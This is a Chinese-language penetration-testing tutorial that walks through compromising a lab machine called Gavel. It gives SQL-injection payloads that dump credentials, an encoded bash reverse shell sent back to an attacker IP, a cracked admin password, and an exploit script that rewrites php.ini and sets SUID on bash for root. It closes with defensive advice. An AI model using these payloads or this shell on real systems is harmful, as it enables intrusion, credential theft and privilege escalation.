php代码审计-二进制漏洞审计-利用
字数 1470 2025-12-06 12:08:35
PHP代码审计与二进制漏洞利用实战教学
概述
本教学文档基于真实渗透测试案例,详细分析PHP代码审计和二进制漏洞利用的全过程。目标系统为Gavel拍卖平台,涵盖信息收集、代码审计、SQL注入绕过、RCE漏洞利用和权限提升等关键技术点。
1. 信息收集阶段
1.1 端口扫描与服务识别
nmap -O -A -T3 10.10.11.97
扫描结果分析:
- 开放端口:22(SSH)、80(HTTP)
- Web服务:Apache/2.4.52
- 操作系统:Linux 4.15-5.19
- 域名重定向:gavel.htb
1.2 目录枚举与.git泄露
通过目录扫描发现.git目录泄露,使用工具下载完整源码:
githacker --url http://gavel.htb --output-folder source_code
2. 代码审计与漏洞分析
2.1 SQL注入漏洞(PDO预编译绕过)
漏洞位置: inventory.php
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
漏洞原理分析:
- 列名直接拼接:
$col变量直接拼接到SQL语句中,而PDO预编译无法绑定列名 - PDO模拟预编译:默认开启模拟模式,PHP层面进行参数替换而非数据库层面处理
- 占位符混淆:PDO会将第一个
?识别为占位符,导致$userId值被注入到SELECT子句
利用Payload构造:
# 查询数据库名
sort=\%3F;--+-%00&user_id=1`+FROM+(SELECT+group_concat(schema_name)+AS+`'1`+FROM+information_schema.schemata)y;--+-
# 查询表名
sort=\%3F;--+-%00&user_id=1`+FROM+(SELECT+group_concat(table_name)+AS+`'1`+FROM+information_schema.tables+WHERE+table_schema=0x676176656c)y;--+-
# 查询用户数据
sort=\%3F;--+-%00&user_id=1`+FROM+(SELECT+group_concat(username,0x3a,password,0x3a,role)+AS+`'1`+FROM+users)y;--+-
2.2 命令执行漏洞(RCE)
漏洞位置: bid_handler.php
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
漏洞原理:
runkit_function_add动态创建函数,$rule参数可控- 用户输入的PHP代码直接作为函数体执行
- 相当于
eval()函数的功能
利用过程:
-
通过SQL注入获取管理员凭证:
- 用户名:
auctioneer - 密码哈希:
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS
- 用户名:
-
使用Hashcat破解密码:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt破解结果:
midnight1 -
RCE Payload构造:
return system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42OS80NDQ0IDA+JjE= | base64 -d |bash");
3. 横向移动与权限提升
3.1 初始访问与信息收集
获得Web Shell后,切换至auctioneer用户:
su auctioneer
Password: midnight1
python3 -c 'import pty;pty.spawn("/bin/bash")'
3.2 二进制漏洞分析
发现可疑进程:
ps aux | grep gavel
输出显示存在特权进程:
/opt/gavel/gaveld(root权限)/root/scripts/timeout_gavel.py(root权限)
二进制分析关键点:
-
权限控制机制:
chmod("/var/run/gaveld.sock", 0x1B0u) // 0660权限仅允许root和
gavel-seller组成员访问 -
用户验证:
v7 = getgrnam("gavel-seller");通过
getsockopt获取客户端UID/GID进行验证
3.3 PHP沙箱绕过与提权
默认PHP配置限制: /opt/gavel/.config/php/php.ini
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
利用策略:
- 利用未禁用函数:
file_put_contents未被禁用 - 配置文件覆盖:通过RCE重写php.ini解除限制
- 执行提权命令:赋予bash SUID权限
自动化利用脚本:
import socket
import struct
import json
import time
def exploit():
# Payload 1: 覆盖php.ini解除限制
yaml_overwrite = """name: phpty
description: Removing restrictions
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Config Pwn"
rule: |
file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\ndisplay_errors=On\nopen_basedir=/\ndisable_functions=\n");
return false;
"""
# Payload 2: 提权命令执行
yaml_rce = """name: root
description: Getting Root
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwn"
rule: |
system("chmod u+s /bin/bash");
return false;
"""
# 发送payload到gaveld服务
send_payload(yaml_overwrite)
time.sleep(1)
send_payload(yaml_rce)
exploit()
最终提权:
/bin/bash -p # 保持特权模式执行
4. 技术要点总结
4.1 关键漏洞类型
- PDO预编译绕过:列名拼接+占位符混淆
- 动态代码执行:runkit_function_add函数滥用
- 权限提升链:服务通信+配置覆盖+SUID提权
4.2 防御建议
-
SQL注入防护:
- 使用白名单验证列名
- 关闭PDO模拟预编译
- 实现真正的参数化查询
-
代码执行防护:
- 禁用危险扩展(如runkit)
- 实施输入验证和过滤
- 使用沙箱环境执行用户代码
-
系统安全加固:
- 最小权限原则
- 文件权限严格控制
- 定期安全审计
本教学文档完整再现了从信息收集到最终权限提升的全过程,涵盖了PHP代码审计和二进制漏洞利用的核心技术,为安全研究人员提供了实用的渗透测试方法论。